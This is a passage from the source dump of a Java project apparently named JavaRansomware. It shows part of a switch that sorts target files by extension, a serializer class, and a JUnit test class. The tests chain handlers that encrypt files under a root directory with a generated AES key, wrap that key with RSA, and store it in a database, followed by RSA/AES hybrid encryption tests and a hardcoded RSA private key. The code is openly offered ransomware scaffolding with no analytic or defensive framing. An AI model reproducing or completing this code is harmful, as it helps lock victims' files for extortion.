case JS:
jsMap.put(FilePath, extension);
break;
case JSP:
jspMap.put(FilePath, extension);
break;
case PHP:
phpMap.put(FilePath, extension);
break;
case XHTML:
xhtmlMap.put(FilePath, extension);
break;
case FNT:
fntMap.put(FilePath, extension);
break;
case FONT:
fontMap.put(FilePath, extension);
break;
case OFT:
oftMap.put(FilePath, extension);
break;
case TTF:
ttfMap.put(FilePath, extension);
break;
case CRDOWNLAOD:
crdownloadMap.put(FilePath, extension);
break;
case ICS:
icsMap.put(FilePath, extension);
break;
case MSI:
msiMap.put(FilePath, extension);
break;
case PART:
partMap.put(FilePath, extension);
break;
case TORRENT:
torrentMap.put(FilePath, extension);
break;
default:
System.out.println("Error " + FilePath + extension);
break;
}
}
public TreeMap> GetFileMap() {
return containsFilters;
}
}
================================================
FILE: src/main/java/com/security/Serializer.java
================================================
package com.security;
import lombok.Getter;
import lombok.SneakyThrows;
import org.apache.fury.Fury;
import org.apache.fury.ThreadSafeFury;
import org.apache.fury.config.Language;
@Getter
public class Serializer {
private static volatile Serializer instance;
private final ThreadSafeFury fury;
private Serializer() throws ClassNotFoundException {
if (instance != null) {
throw new IllegalStateException("Already initialized.");
}
this.fury = Fury.builder()
.withLanguage(Language.JAVA)
.withRefTracking(false)
.withRefCopy(false)
.withLongCompressed(true)
.withIntCompressed(true)
.withStringCompressed(true)
.withScalaOptimizationEnabled(true)
.withClassVersionCheck(false)
.withAsyncCompilation(false)
.withCodegen(false)
.requireClassRegistration(false)
.buildThreadSafeFury();
}
@SneakyThrows
public static Serializer getInstance() {
Serializer result = instance;
if (result == null) {
synchronized (Serializer.class) {
result = instance;
if (result == null) {
result = new Serializer();
instance = result;
}
}
}
return result;
}
}
================================================
FILE: src/resources/test.txt
================================================
test data
================================================
FILE: src/test/java/com/Examples/ExampleTest.java
================================================
package com.Examples;
import com.security.*;
import org.apache.commons.io.FileUtils;
import org.apache.commons.io.filefilter.TrueFileFilter;
import org.junit.jupiter.api.*;
import javax.crypto.SecretKey;
import java.io.File;
import java.io.IOException;
import java.net.URISyntaxException;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.security.GeneralSecurityException;
import java.security.PrivateKey;
import java.security.PublicKey;
import java.sql.SQLException;
import java.util.Collection;
import java.util.Objects;
import java.util.stream.Stream;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertFalse;
@TestMethodOrder(MethodOrderer.OrderAnnotation.class)
public class ExampleTest {
private static final String PubicKey = "MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJCw1HHQooCFGsGhtxNrsdS6dDq5jtfHqqLInCj7qFlDaD/Sll5+BAUjV0GU/c+6PVyMKzmLrHh49eeGQy1ETN8CAwEAAQ==";
private static final String PrivateKey = "MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAkLDUcdCigIUawaG3E2ux1Lp0OrmO18eqosicKPuoWUNoP9KWXn4EBSNXQZT9z7o9XIwrOYuseHj154ZDLURM3wIDAQABAkA9AnLx8tkye+2GTBwYEkcPvfcYc/mpPsXSkehW15Zq3IALx3Kr5GgKGOaB2FK6PU0QzEPQbNJXdA5ZPjwTDcQBAiEA1/zINRVlrLpw2HPfqsYQ8ZSDuG2rVUUKKmKgJQXeQ98CIQCrfsw2+VKOaFoJm5BpVxIT5nsE8CXn4fr/WSFuklMXAQIgTKWnAreCKmbLTvTn5bl+H8zdZaB9kbf7YIk5XYoUky8CIQCL2ccnPYK5ZxelphrKDJtNZzMC/+OpiXtqKIE+7kycAQIgRK/DUhWUgSQV5u7VoCHDyLPCntjFMGBsg7Wi1uq+EDM=";
@Test
@Order(1)
public void PipelineTest() throws URISyntaxException {
Path testPath = Paths.get("C:\\Users\\User\\Documents\\GitHub\\JavaRansomware\\just");
//Path testPath = Paths.get(Objects.requireNonNull(ExampleTest.class.getResource("/test.txt")).toURI());
PipelineData pipelineData = new PipelineData();
pipelineData.setPrivateKey(PrivateKey);
pipelineData.setPublicKey(PubicKey);
pipelineData.setRootPath(testPath.toAbsolutePath().toString());
Pipeline encrypt_filters = new Pipeline(new DatabaseRetrieveHandler())
.addHandler(new DecryptKeyHandler())
.addHandler(new GenSymmetricKeyHandler())
.addHandler(new RansomwareEncryptHandler())
.addHandler(new EncryptKeyHandler())
.addHandler(new DatabaseStoreHandler());
var encrypt_output = encrypt_filters.execute(pipelineData);
System.out.println("Pipeline output: " + encrypt_output);
Pipeline decrypt_filters = new Pipeline(new DatabaseRetrieveHandler())
.addHandler(new DecryptKeyHandler())
.addHandler(new RansomwareDecryptHandler());
var decrypt_output = decrypt_filters.execute(pipelineData);
System.out.println("Pipeline output: " + decrypt_output);
}
@Test
@Order(2)
public void DatabaseTest() {
try {
// Check if a string already exists
String existingString = DerbyStorage.getInstance().retrieveString();
if (existingString != null) {
System.out.println("Retrieved existing string: " + existingString);
} else {
// Store a new string
DerbyStorage.getInstance().storeString("Hello, Derby!");
// Retrieve and display the stored string
String retrievedString = DerbyStorage.getInstance().retrieveString();
System.out.println("Retrieved newly stored string: " + retrievedString);
}
} catch (SQLException e) {
e.printStackTrace();
} finally {
//DerbyStorage.getInstance().close();
}
}
@Test
@Order(3)
public void PrintAllPaths() {
String logFilePath = "path/to/system.log"; // Replace with the actual log file path
String searchString = "encryptedKeyDB"; // Replace with the string you want to search for
Path rootPath = Paths.get("C:\\Users\\User\\Documents\\GitHub\\JavaRansomware\\");
Collection files = FileUtils.listFilesAndDirs(
rootPath.toFile(),
TrueFileFilter.INSTANCE,
TrueFileFilter.INSTANCE
);
files.parallelStream().forEach(file -> {
if (file.toPath().toAbsolutePath().toString().contains(searchString)) {
return;
}
if (file.isDirectory()) {
System.out.println("Directory: " + file);
} else {
System.out.println("File: " + file.toPath().toAbsolutePath());
}
});
try (Stream stream = Files.lines(Paths.get(logFilePath))) {
boolean found = stream.anyMatch(line -> line.contains(searchString));
assertFalse(found);
} catch (IOException e) {
//e.printStackTrace();
}
}
@Test
@Order(4)
public void RSAEncryption() throws GeneralSecurityException {
String message = "Hello, RSA!";
RSAGenKeyReader.StringKeyPair keyPair = RSAGenKeyReader.generateKeyPair();
PublicKey pub = RSAGenKeyReader.loadPublicKey(keyPair.publicKey());
PrivateKey privateKey = RSAGenKeyReader.loadPrivateKey(keyPair.privateKey());
String encrypted = RSACipher.getInstance().encrypt(message.getBytes(StandardCharsets.UTF_8), pub);
String res = RSACipher.getInstance().decrypt(encrypted, privateKey);
assertEquals(message, res);
}
@Test
@Order(5)
public void AESEncryption() throws Exception {
Path testPath = Paths.get(Objects.requireNonNull(ExampleTest.class.getResource("/test.txt")).toURI());
SecretKey key = AESCipher.generateAndSaveKey("secret.key");
AESCipher.encryptFile(testPath.toFile().getPath(), key);
AESCipher.decryptFile(testPath.toFile().getPath(), key);
}
@Test
@Order(6)
public void RSAWithAESEncryption() throws Exception {
Path testPath = Paths.get(Objects.requireNonNull(ExampleTest.class.getResource("/test.txt")).toURI());
String key = AESCipher.generateAndNotSaveKeyAsString();
RSAGenKeyReader.StringKeyPair keyPair = RSAGenKeyReader.generateKeyPair();
PublicKey pub = RSAGenKeyReader.loadPublicKey(keyPair.publicKey());
PrivateKey privateKey = RSAGenKeyReader.loadPrivateKey(keyPair.privateKey());
String encrypted = RSACipher.getInstance().encrypt(key.getBytes(StandardCharsets.UTF_8), pub);
String encodedkey = RSACipher.getInstance().decrypt(encrypted, privateKey);
SecretKey copykey = AESCipher.loadKey(encodedkey);
AESCipher.encryptFile(testPath.toFile().getPath(), copykey);
AESCipher.decryptFile(testPath.toFile().getPath(), copykey);
}
@AfterAll
public static void tearDown() {
DerbyStorage.getInstance().close();
}
}